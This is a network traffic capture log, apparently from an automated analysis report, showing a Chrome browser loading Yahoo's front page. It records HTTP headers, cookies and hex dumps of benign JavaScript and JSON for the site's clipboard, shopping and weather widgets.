2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2e 6b 65 Data Ascii: );throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),l=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.ke
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 3b 72 65 74 75 72 6e 7b 6f 66 66 73 65 74 58 3a 65 2e 6f 66 66 73 65 74 58 2c 6f 66 66 73 65 74 59 3a 65 2e 6f 66 66 73 65 74 59 2c 74 72 69 67 67 65 72 3a 65 2e 74 72 69 67 67 65 72 7d 7d 7d 5d 29 2c 74 7d 28 76 29 3b 77 2e 65 76 65 6e 74 73 3d 7b 7d 3b 76 61 72 20 6a 3d 77 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 Data Ascii: unction(){var e=this._util;return{offsetX:e.offsetX,offsetY:e.offsetY,trigger:e.trigger}}}]),t}(v);w.events={};var j=w,m=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writ
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2e 74 72 69 67 67 65 72 2c 69 3d 21 30 3b 22 76 69 65 77 70 6f 72 74 22 3d 3d 3d 6f 26 26 28 69 3d 6b 28 65 2c 7b 6f 66 66 73 65 74 58 3a 2d 31 2a 6e 2c 6f 66 66 73 65 74 59 3a 2d 31 2a 72 7d 2c 43 2e 76 69 65 77 70 6f 72 74 29 29 2c 69 26 26 76 2e 74 72 69 67 67 65 72 46 6f 72 45 6c 65 6d 65 6e 74 73 28 5b 65 5d 2c 7b 73 6f 75 72 63 65 3a 22 73 74 61 74 65 22 7d 29 7d 2c 62 2e 73 79 6e 63 28 29 2c 62 7d 72 65 74 75 72 6e 20 66 28 74 2c 65 29 2c 6d 28 74 2c 5b 7b 6b 65 79 3a 22 5f 63 68 65 63 6b 49 66 42 65 6e 6a 69 4e 61 6d 65 53 70 61 63 65 45 78 69 73 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 Data Ascii: .trigger,i=!0;"viewport"===o&&(i=k(e,{offsetX:-1n,offsetY:-1r},C.viewport)),i&&v.triggerForElements([e],{source:"state"})},b.sync(),b}return f(t,e),m(t,[{key:"_checkIfBenjiNameSpaceExist",value:function(){var e=this,t=arguments.length>0&&void 0!==argume
2024-04-27 22:41:52 UTC	1013	IN	Data Raw: 7d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 6c 69 73 74 65 6e 54 6f 42 65 6e 6a 69 45 76 65 6e 74 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 3b 69 66 28 21 65 2e 61 64 64 65 64 4c 69 73 74 65 6e 65 72 46 6f 72 62 65 6e 6a 69 45 76 65 6e 74 73 29 7b 65 2e 61 64 64 65 64 4c 69 73 74 65 6e 65 72 46 6f 72 62 65 6e 6a 69 45 76 65 6e 74 73 3d 21 30 3b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 62 65 6e 6a 69 3b 74 2e 6f 6e 28 22 52 45 4e 44 45 52 5f 53 55 43 43 45 45 44 45 44 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 52 65 6e 64 65 72 53 75 63 63 65 73 73 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 74 2e 6f 6e 28 22 52 45 4e 44 45 52 5f 46 41 49 4c 45 44 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 50 6f 73 69 74 69 6f Data Ascii: })}}},{key:"listenToBenjiEvents",value:function(){var e=this._state;if(!e.addedListenerForbenjiEvents){e.addedListenerForbenjiEvents=!0;var t=window.benji;t.on("RENDER_SUCCEEDED",this.handleRenderSuccess.bind(this)),t.on("RENDER_FAILED",this.handlePositio
2024-04-27 22:41:52 UTC	775	IN	Data Raw: 30 26 26 28 61 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 75 29 29 7d 69 2e 70 6f 73 69 74 69 6f 6e 73 26 26 74 2e 6d 61 6b 65 42 65 6e 6a 69 43 61 6c 6c 28 69 2c 66 2c 61 29 7d 63 61 74 63 68 28 6e 29 7b 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 74 2e 5f 6f 70 74 69 6f 6e 73 2e 70 72 6f 70 73 2e 65 72 72 6f 72 43 6c 61 73 73 29 2c 6f 2e 64 65 73 74 72 6f 79 28 29 7d 7d 29 7d 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 53 63 72 6f 6c 6c 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 44 65 62 6f 75 6e 63 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 65 73 69 7a 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 0&&(a=JSON.parse(u))}i.positions&&t.makeBenjiCall(i,f,a)}catch(n){e.classList.add(t._options.props.errorClass),o.destroy()}})}}).catch(function(e){})}},{key:"handleScroll",value:function(){this._validateWithDebounce()}},{key:"handleResize",value:function(

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49842	69.147.92.12	443

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	547	OUT	GET /aaq/wf/wf-clipboard-copy-1.0.2-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: 3vKPBtVVoEm9TflyQ10+KDv5StXg1y2bClWbq6KjKJa1Bck8k6xXvvZh7pQPgZvJ7x2qUkpTKmM= x-amz-request-id: DF9KD1E0QR6Z1RM7 Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Mon, 24 May 2021 16:40:35 GMT ETag: "9d2a8efbe3fe9705e54df41100ea2dae" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: s6ZljWUzqa9Ss0D5hEgjXb_jGlec.wYG Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4365 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-clipboard-copy",[],t):"object"==typeof exports?exports["wafer-clipboard-copy"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 Data Ascii: tion, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function c(e,t){if(!(e instanceof t))throw new TypeError(
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 63 6f 70 79 2d 74 65 78 74 22 5d 2c 68 3d 5b 22 68 61 6e 64 6c 65 43 6f 70 79 22 5d 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 61 3d 6f 2e 73 65 6c 65 63 74 6f 72 3b 72 28 74 68 69 73 2c 74 29 3b 76 61 72 20 63 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 7b 73 65 6c 65 63 74 6f 72 3a 61 7d 2c 7b 53 54 41 54 45 5f 41 54 54 52 53 3a 62 7d 29 29 2c 69 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 Data Ascii: copy-text"],h=["handleCopy"],w=function(e){function t(e){var o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=o.selector;r(this,t);var c=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,e,{selector:a},{STATE_ATTRS:b})),i=e.getAttribut
2024-04-27 22:41:52 UTC	465	IN	Data Raw: 65 61 3b 74 7c 7c 28 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 74 65 78 74 61 72 65 61 22 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 73 74 79 6c 65 2c 7b 62 6f 72 64 65 72 3a 22 6e 6f 6e 65 22 2c 62 6f 78 53 68 61 64 6f 77 3a 22 6e 6f 6e 65 22 2c 64 69 73 70 6c 61 79 3a 22 6e 6f 6e 65 22 2c 68 65 69 67 68 74 3a 22 32 65 6d 22 2c 6c 65 66 74 3a 30 2c 6f 75 74 6c 69 6e 65 3a 22 6e 6f 6e 65 22 2c 70 61 64 64 69 6e 67 3a 30 2c 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 2c 74 6f 70 3a 30 2c 77 69 64 74 68 3a 22 32 65 6d 22 7d 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 29 2c 74 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 2e 76 61 6c 75 Data Ascii: ea;t\|\|(t=document.createElement("textarea"),Object.assign(t.style,{border:"none",boxShadow:"none",display:"none",height:"2em",left:0,outline:"none",padding:0,position:"fixed",top:0,width:"2em"}),document.body.appendChild(t)),t.style.display="block",t.valu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49845	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1042	OUT	POST /fp_ms/_rcv/remote?ctrl=Shopping&m_id=react-wafer-shopping&m_mode=json&partner=none HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 306 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	306	OUT	Data Raw: 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 63 70 6f 73 22 3a 35 2c 22 6d 6f 64 75 6c 65 54 69 74 6c 65 22 3a 22 42 75 79 69 6e 67 20 41 64 76 69 63 65 22 2c 22 73 6c 6f 74 74 65 64 49 6e 53 74 72 65 61 6d 22 3a 31 2c 22 78 68 72 50 61 74 68 50 72 65 66 69 78 22 3a 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 22 2c 22 65 6e 61 62 6c 65 52 43 56 22 3a 74 72 75 65 2c 22 73 68 6f 70 70 69 6e 67 43 61 72 6f 75 73 65 6c 22 3a 66 61 6c 73 65 2c 22 73 68 6f 70 70 69 6e 67 43 61 72 6f 75 73 65 6c 56 32 22 3a 66 61 6c 73 65 2c 22 73 68 6f 70 70 69 6e 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6c 69 66 65 73 74 79 6c 65 2f 74 61 67 67 65 64 2f 73 68 6f 70 70 69 6e 67 2f 22 7d 2c 22 63 74 72 6c 22 3a 22 53 68 6f 70 70 Data Ascii: {"config":{"cpos":5,"moduleTitle":"Buying Advice","slottedInStream":1,"xhrPathPrefix":"/fp_ms/_rcv/remote","enableRCV":true,"shoppingCarousel":false,"shoppingCarouselV2":false,"shoppingUrl":"https://www.yahoo.com/lifestyle/tagged/shopping/"},"ctrl":"Shopp
2024-04-27 22:41:52 UTC	1257	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-shopping vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:52 GMT x-envoy-upstream-service-time: 4 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=09fkfthj2qvpg&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 36 30 36 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 73 68 6f 70 70 69 6e 67 2e 53 68 6f 70 70 69 6e 67 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 64 31 35 36 62 35 34 31 63 30 32 38 66 65 37 64 33 31 36 37 62 31 30 31 64 31 35 35 30 30 66 36 2e 6d 69 6e 2e 63 73 73 22 2c 22 Data Ascii: 606{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-shopping.Shopping.atomic.ltr.d156b541c028fe7d3167b101d15500f6.min.css","
2024-04-27 22:41:52 UTC	254	IN	Data Raw: 3a 26 71 75 6f 74 3b 6a 73 6f 6e 26 71 75 6f 74 3b 7d 5c 22 20 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 3d 5c 22 6f 6e 4c 6f 61 64 5c 22 20 64 61 74 61 2d 77 66 2d 74 61 72 67 65 74 3d 5c 22 23 63 6f 6d 6d 65 72 63 65 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 61 69 6e 65 72 5c 22 20 64 61 74 61 2d 77 66 2d 75 72 6c 3d 5c 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 3f 63 74 72 6c 3d 53 68 6f 70 70 69 6e 67 43 6f 6e 74 65 6e 74 26 61 6d 70 3b 6d 5f 69 64 3d 72 65 61 63 74 2d 77 61 66 65 72 2d 73 68 6f 70 70 69 6e 67 26 61 6d 70 3b 6d 5f 6d 6f 64 65 3d 6a 73 6f 6e 26 61 6d 70 3b 78 68 72 50 61 74 68 50 72 65 66 69 78 3d 25 32 46 66 70 5f 6d 73 25 32 46 5f 72 63 76 25 32 46 72 65 6d 6f 74 65 5c 22 3e 3c 2f 64 69 76 3e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: :"json"}\" data-wf-trigger=\"onLoad\" data-wf-target=\"#commerce-module-container\" data-wf-url=\"/fp_ms/_rcv/remote?ctrl=ShoppingContent&m_id=react-wafer-shopping&m_mode=json&xhrPathPrefix=%2Ffp_ms%2F_rcv%2Fremote\"></div>"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49844	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1142	OUT	POST /fp_ms/_rcv/remote?ctrl=WeatherPreviewRefresh&lang=en-US&m_id=react-wafer-weather&m_mode=json&region=US&rid=1sbetl5j2qvpa&site=fp&apptype=default&instance_id=weather&_evtSrc=deferLoad HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 461 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	461	OUT	Data Raw: 7b 22 62 75 63 6b 65 74 22 3a 22 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 43 6f 6e 74 72 6f 6c 76 32 2d 63 6f 70 79 2c 68 6f 6d 65 70 61 67 65 5f 74 61 62 6f 6f 6c 61 5f 62 65 6e 6a 69 5f 31 5f 63 6f 6e 74 72 6f 6c 2c 73 65 61 6d 6c 65 73 73 22 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 66 65 74 63 68 55 73 65 72 46 61 76 4c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 66 65 74 63 68 55 73 69 6e 67 4e 65 77 47 72 61 76 69 74 6f 6e 42 61 63 6b 65 6e 64 22 3a 66 61 6c 73 65 2c 22 67 72 69 64 4c 61 79 6f 75 74 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 68 65 61 64 65 72 22 3a 74 72 75 65 2c 22 70 75 72 70 6c 65 42 6c 6f 63 6b 48 65 61 64 65 72 45 6e 61 62 6c 65 64 22 3a 74 Data Ascii: {"bucket":"drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless","config":{"fetchUserFavLocation":false,"fetchUsingNewGravitonBackend":false,"gridLayoutEnabled":true,"header":true,"purpleBlockHeaderEnabled":t
2024-04-27 22:41:52 UTC	510	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-instance-id: weather x-applet-id: react-wafer-weather vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:52 GMT x-envoy-upstream-service-time: 23 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0
2024-04-27 22:41:52 UTC	2013	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 72 74 72 2e 69 6e 6e 6f 76 69 64 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 6f 61 74 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 6d 65 64 69 61 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 64 76 65 72 74 69 73 69 6e 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 63 64 6e 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 61 64 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 3b 20 Data Ascii: Content-Security-Policy-Report-Only: connect-src 'self' https://s.yimg.com https://rtr.innovid.com https://.yahoo.com https://.oath.com https://.media.net https://.advertising.com https://.cdn.yimg.com https://.yahoo.net https://ad.doubleclick.net;
2024-04-27 22:41:52 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
